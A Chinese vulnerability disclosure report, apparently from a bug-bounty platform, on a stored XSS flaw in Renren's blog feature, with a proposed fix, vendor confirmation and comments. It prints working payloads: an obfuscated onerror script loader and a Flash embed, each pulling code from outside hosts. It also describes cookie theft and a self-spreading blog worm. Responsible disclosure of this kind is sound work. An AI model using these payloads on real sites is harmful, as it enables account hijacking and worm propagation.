漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:人人网日志功能存储型XSS
提交时间:2012-08-09 02:17
修复时间:2012-09-23 02:18
公开时间:2012-09-23 02:18
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2012-08-09: 细节已通知厂商并且等待厂商处理中 2012-08-09: 厂商已经确认,细节仅向厂商公开 2012-08-19: 细节向核心白帽子及相关领域专家公开 2012-08-29: 细节向普通白帽子公开 2012-09-08: 细节向实习白帽子公开 2012-09-23: 细节向公众公开
简要描述: 人人回来了~ 前来祝贺的~
详细说明: 大致流程如下: 1. 首先,我们发表一个正常的日志,添加视频/音频,因为想试试能不能直接调用外部FLASH,因此输入http://xsst.sinaapp.com/Xss.swf#.mp3进行测试
2. 发布成功后,我们可以看到出现一个MP3播放器。于是在源码里找找我们输出的内容。 3. 搜索xsst(我FLASH文件的网址的特征), 没找到embed标签,但是却定位到了一个img标签,而且我们所输入的内容,放在了img的alt标签。
4. 到这里我们可以大胆猜测。人人的开发人员,肯定是先读取页面里的img标签,然后获取alt属性,最后再 innerHTML="<embed src='"+img.alt+"'.....></embed>" 的方式输出内容。 5. 我们定位到FLASH文件上,不难看到,确实是如此。
6. 既然如此,如果人人的开发人员,在获取alt属性之后,alt属性里的"等会自动转义为"等字符, 如果没有进行二次过滤,就直接innerHTML输出的话,就会导致XSS。 7. 先试下,会“侧漏“不~~~ 抓包,字段body从
<p><img title="audio-media" class="audio" src="http://s.xnimg.cn/imgpro/editor/audio.gif" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf#.mp3" /></p>
修改为
<p><img title="audio-media" class="audio" src="http://s.xnimg.cn/imgpro/editor/audio.gif" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf">#.mp3" /></p>
8. 果然从 #.mp3处侧漏啦,有戏~
9. 继续构造利用代码。用俺工具,经过2步转换得到利用代码 (工具地址:http://app.baidu.com/app/enter?appid=280383) 分享下,不算广告吧= = 步骤一:
步骤二:
得到的利用代码如下:
<p><img title="audio-media" class="audio" src="http://s.xnimg.cn/imgpro/editor/audio.gif" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf"><img/src=1 onerror=(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,110,111,46,106,115);document.body.appendChild(window.s)})()>#.mp3" /></p>
10. 可是意外出现啦,看来人人网在服务器上还做了某些判断,俺的代码出发了它们的过滤规则,有以下提示信息。
11. 但是这个阻碍不了我们前进的步伐,既然如此,那我们就换个方式,直接用flash来,构造以下利用代码。
<p><img title="audio-media" class="audio" src="http://s.xnimg.cn/imgpro/editor/audio.gif" border="0" alt="mp3;http://itsokla.duapp.com/Xss.swf"></object><embed src="http://itsokla.duapp.com/Xss.swf"type="application/x-shockwave-flash"allowscriptaccess="always"><i a="#.mp3" /></p>
12. 可以看到成功发表日志。
13. httpwatch对日志页面抓包可以看到,成功通过FLASH调用外部JS文件。
14. 至于漏洞危害: A. 由于发布日志无验证码,且和XSS处于同一个域下,因而可以直接ajax让受害者自动发布日志,从而进行日志蠕虫 B. 人人网的cookies没有加http-only防护,因而可以得到cookies后,在其它域做某些某些事情。举个例子,比如我就用这个XSS让访问日志的用户,自动进行某个第三方应用的Oauth的认证。这里就不给出具体的利用代码了 。。 以下是获取他人cookies的截图: (未做有害事情,仅测试用途)
漏洞证明: 修复方案: 在获取日志内容中<img class="audio" src="http://s.xnimg.cn/imgpro/editor/audio.gif" border="0" alt="mp3;mp3地址"> 标记的 alt 属性后, 对值进行再次过滤,再以innerHTML方式输出。
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:15
确认时间:2012-08-09 05:42
厂商回复: 很巧妙,感谢!
最新状态: 暂无
漏洞评价:
评论
2012-08-09 08:11 |
风萧萧 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)
2012-08-09 09:05 |
saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)
@风萧萧 xss你让人家收集信息,sql注入你让人家脱裤,诶,好坏好坏
2012-08-09 10:33 |
se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )
2012-08-09 12:06 |
风萧萧 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)
@saline @se55i0n 毛主席说,风萧萧是个好壮士!
2012-08-29 18:35 |
icefish ( 普通白帽子 | Rank:104 漏洞数:8 | 欢迎大家和我用邮件进行交流~)
2012-09-23 10:49 |
xiaokinghk ( 实习白帽子 | Rank:82 漏洞数:16 | 【DBA】)